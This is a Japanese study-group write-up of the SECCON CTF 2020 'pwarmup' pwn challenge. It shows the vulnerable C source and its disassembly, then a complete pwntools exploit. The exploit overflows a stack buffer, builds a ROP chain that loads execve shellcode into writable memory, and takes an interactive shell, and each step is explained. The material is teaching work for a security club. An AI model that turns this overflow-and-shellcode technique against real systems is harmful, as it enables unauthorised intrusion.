---
# System prepended metadata

title: 10/14 低レイヤ 勉強会

---

# 10/14 低レイヤ 勉強会
---
## 事務連絡
1. 低レイヤへの見学希望者が1人来てくれるそうです!!
2. これから低レイヤの活動は(少なくとも3ターム中は)月5、水3で行っていきます
全員揃う水3と、割とそろって、時間に余裕のある月5の構成(週1は少なすぎなので...)
なるべく資料をわかりやすくし、来れなくても独学で対応できるようにします

## Write-Up Pwarmup [SECCCON CTF 2020 Pwn] その1
シェルを奪って(CUI版不正リモートデスクトップ的な)FLAGが書いてあるテキストファイルの中身を見る問題。
### 問題
[pwarmup　へのリンク](https://score.lmt.seccon.jp/challenges#pwarmup)
```test.sh
nc pwn-neko.chal.seccon.jp 9001 #問題サーバに接続
wget https://score.lmt.seccon.jp/files/pwarmup.7fadc5ed305688a8144d076c54c64b6a.tar.gz
# 問題バイナリのダウンロード
```


> **参考**
> [SECCON 2020 Online CTF write-up - kusano_k 氏](https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1)
> [Pwntoolsの機能と使い方まとめ - 8ayac氏](https://qiita.com/8ayac/items/12a3523394080e56ad5a)

## 必要なもの
- python3
- pwntools (sudo pip3 install pwntools でインストール)
- [GDB-Peda](https://qiita.com/miyase256/items/248a486cca671686c58c) (以前の勉強会で説明したもの。)

### main.c (ソースコード)
珍しくソースコード付き。
```main.c 
#include <unistd.h>
#include <stdio.h>

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(60);
}
```

### 問題バイナリのアセンブラ(scanfとmain)
```scan.asm
00000000004005c0 <__isoc99_scanf@plt>:
  4005c0:	ff 25 12 06 20 00    	jmp    QWORD PTR [rip+0x200612]        # 600bd8 <__isoc99_scanf@GLIBC_2.7>
  4005c6:	68 04 00 00 00       	push   0x4
  4005cb:	e9 a0 ff ff ff       	jmp    400570 <.plt>
```
```main.asm
00000000004006b7 <main>:
  4006b7:	55                   	push   rbp
  4006b8:	48 89 e5             	mov    rbp,rsp
  4006bb:	48 83 ec 20          	sub    rsp,0x20
  4006bf:	48 8d 3d 3e 01 00 00 	lea    rdi,[rip+0x13e]        # 400804 <_IO_stdin_used+0x4>
  4006c6:	e8 b5 fe ff ff       	call   400580 <puts@plt>
  4006cb:	48 8d 45 e0          	lea    rax,[rbp-0x20]
  4006cf:	48 89 c6             	mov    rsi,rax
  4006d2:	48 8d 3d 42 01 00 00 	lea    rdi,[rip+0x142]        # 40081b <_IO_stdin_used+0x1b>
  4006d9:	b8 00 00 00 00       	mov    eax,0x0
  4006de:	e8 dd fe ff ff       	call   4005c0 <__isoc99_scanf@plt>
  4006e3:	48 8b 05 16 05 20 00 	mov    rax,QWORD PTR [rip+0x200516]        # 600c00 <stdout@@GLIBC_2.2.5>
  4006ea:	48 89 c7             	mov    rdi,rax
  4006ed:	e8 9e fe ff ff       	call   400590 <fclose@plt>
  4006f2:	48 8b 05 27 05 20 00 	mov    rax,QWORD PTR [rip+0x200527]        # 600c20 <stderr@@GLIBC_2.2.5>
  4006f9:	48 89 c7             	mov    rdi,rax
  4006fc:	e8 8f fe ff ff       	call   400590 <fclose@plt>
  400701:	b8 00 00 00 00       	mov    eax,0x0
  400706:	c9                   	leave  
  400707:	c3                   	ret    

```
### 解答スクリプト
このpythonスクリプトを実行するだけでシェルが奪えます。
```attack.py
from pwn import *

s = remote("pwn-neko.chal.seccon.jp", 9001)
elf = ELF("chall")
context.binary = elf

rop = ROP(elf)
# scanf("%s", 0x600000)
rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
rop.call(0x600000)
s.sendlineafter(
  "Welcome to Pwn Warmup!\n",
  b"a"*0x28+rop.chain())

# http://shell-storm.org/shellcode/files/shellcode-806.php
s.sendline(
  "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
  "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

s.interactive()
```
---
```a.py
from pwn import *
```
この問題含め、多くの場合Gallopsledさん開発の[Pwntools](https://github.com/Gallopsled/pwntools)というモジュールをインポート(Cのinclude的な)してpythonスクリプトを構成し、それを問題サーバーに送り付けて解いていきます。

いろいろな処理を自動でやってくれますが、それゆえ処理がブラックボックスになったりして基礎の理解がおろそかになりがちです。
普段はなるべくこれを使わずに練習しつつ、本質的な理解の努力をなるべくしていくのが望ましいです。

```a.py
s = remote("pwn-neko.chal.seccon.jp", 9001)
```
**remote**でサーバーとやり取りします(アドレス,ポート番号)。
```a.py
elf = ELF('/path/to/chall') 
context.binary = elf 
```
**ELF**で実行ファイル内の様々な値を自動的にそのバイナリに適したものにしてくれます。
()内には、自分でダウンロードした問題バイナリのパスを入力しましょう。
サーバー側の問題バイナリを自動で参照するのはさすがにできないので...

```a.py
rop = ROP(elf)
```
**ROP(Return-oriented programming)**
...スタックオーバーフローから関数の呼び出しなどを行い、目的の処理を実行する手法。
ROP(実行ファイル)でバイナリの中を検索し、自動でROPまでの経路を構築する処理を行ってくれる。

これによりscanfを実行した後に再びmainに戻り、アドレスの変化(後述)とreturn前にstdoutとstderrが閉じられていて出力ができないという2点を回避。
```a.py
rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
rop.call(0x600000)

```
**rop.call**で、main戻った後に行う処理を後付けする(デフォルトはmainに戻るのみ)。

最初の行でROPでscanf(“%s”, 任意のメモリアドレス) を呼び、どこか読み書き可能な場所にシェルコード(後述)を読み込む(scanf("%s", 0x600000)と同義の処理)。

次の行で、埋め込んだシェルコードを実行。

### シェルコードを埋め込む場所の探し方

その場所は
- **セキュリティ機構ASLR(stdioで読み込んで使うような関数がまとまった共有ライブラリなどのアドレスを毎回シャッフルして安全性を高めるOSの仕組み)** の影響を受けない
- なおかつ書き込みOKな場所

がよろしい。


1. デバッガ GDB-Peda でバイナリを開く。
2. disas mainで処理一覧を表示し、入力が受け付けられる部分(gets,scanf等)を見つける。
![](https://i.imgur.com/Xrx89gH.png)
3. 見つけたらb *[アドレス]でブレークポイントを設置。
1. rで実行、ブレークポイントで処理が止まるのを待つ。
1. ある程度メモリにプログラムが読まれた段階でデバッガのvmmapで様子を見る。![](https://i.imgur.com/yCDPgQM.png)

1. 0x600000はlibc(共有ライブラリ)以前、かつパーミッションはrwxpと全部そろってる。
よって上記の条件に該当するアドレスは**0x600000**だと判明!!

---

```a.py
s.sendlineafter(
  "Welcome to Pwn Warmup!\n",
  b"a"*0x28+rop.chain())
```
接続して特定のメッセージが表示された後に、()内の処理を実行するという意。
(問題サーバーにアクセスするとわかるが、**Welcome to Pwn Warmup!**　とでて入力を受け付ける)

main関数のアセンブリを読み、代入用に0x20のスタック**のみ**確保されていることと、そのあとで必ず0x8の古いrbpの値が確保されることから、aでそこまで埋める。

そうしてバッファオーバーフローを起こした後でropを発動。
シェルコードを実行する。


```a.py
s.sendline(
  "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
  "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
```
シェルコードを送り付ける処理。シェルコード->アセンブラ言語->機械語に変換してあるものを送り付ける

### シェルコードとは
シェルを実行するものをはじめ、特定の処理を行うコードの総称。
> http://shell-storm.org/shellcode/files/shellcode-806.php

これは公開されている出来合いのシェルコードの1つであり、使いまわしがきく。
これを一番最初にとりあえず送り付けてみる、という手段も有効

---
```a.py
s.interactive()
```

相互接続を可能にする。シェルを奪った後に操作できるように

---
こうしてシェルを奪えます。
![](https://i.imgur.com/BbMohrl.png)

続きはまた次回...